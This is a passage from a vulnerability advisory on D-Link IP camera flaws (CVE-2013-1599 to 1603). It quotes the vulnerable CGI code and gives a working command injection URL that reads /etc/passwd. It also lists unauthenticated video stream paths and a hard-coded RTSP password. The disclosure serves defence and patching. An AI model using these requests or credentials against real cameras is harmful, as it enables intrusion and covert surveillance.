7. *Technical Description / Proof of Concept Code*



7.1. *OS Command Injection*



[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'

allows an unauthenticated remote attacker to execute arbitrary commands

through the camera's web interface. The OS command injection is due to

this code in 'rtpd.cgi':



/-----

echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain

spaces."

. $conf > /dev/null 2> /dev/null

eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"



-----/

 The first line of this snippet basically ensures that there are no

spaces in '$QUERY_STRING'. The last line uses 'sed' to replace

ampersands '&' with spaces, and then call to the function 'eval()',

resulting in a typical command injection. For example, in order to execute:



/-----

uname -a;cat /etc/passwd

-----/

 the following request can be sent to the camera web interface:



/-----

http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd

-----/





7.2. *Authentication Bypass*



[CVE-2013-1600] The live video stream can be accessed without

authentication by a remote attacker via the following request:



/-----

http://192.168.1.100/upnp/asf-mp4.asf

-----/



7.3. *ASCII Video Stream Information Leak*



[CVE-2013-1601] An ASCII output (the image luminance) of the live video

stream can be accessed by a remote unauthenticated attacker via:



/-----

http://192.168.1.100/md/lums.cgi

-----/

 The following example is the output of a coffee pot video stream [2]:

7.4. *RTSP Authentication Bypass*



[CVE-2013-1602] This vulnerability is triggered because:



   1. Authentication is only present in DESCRIBE requests but not in

every subsequent request.

   2. When the RTSP session is being established, the authentication

request of current session is ignored (a previously stored response is

used instead).

As a result, the video stream can be accessed by an unauthenticated

remote attacker.

7.5. *RTSP Hard-Coded Credentials*



[CVE-2013-1603] RTSP service contains hard-coded credentials that

effectively serve as a backdoor, which allows remote attackers to access

the RTSP video stream.



/-----

username: (any)           

password: ?*

-----/



As we can see in the following dump, the submitted password is compared

with the string ':?*' (the character ':' is used for concatenation of

'username:password'). This code belongs to the binary 'rtspd':
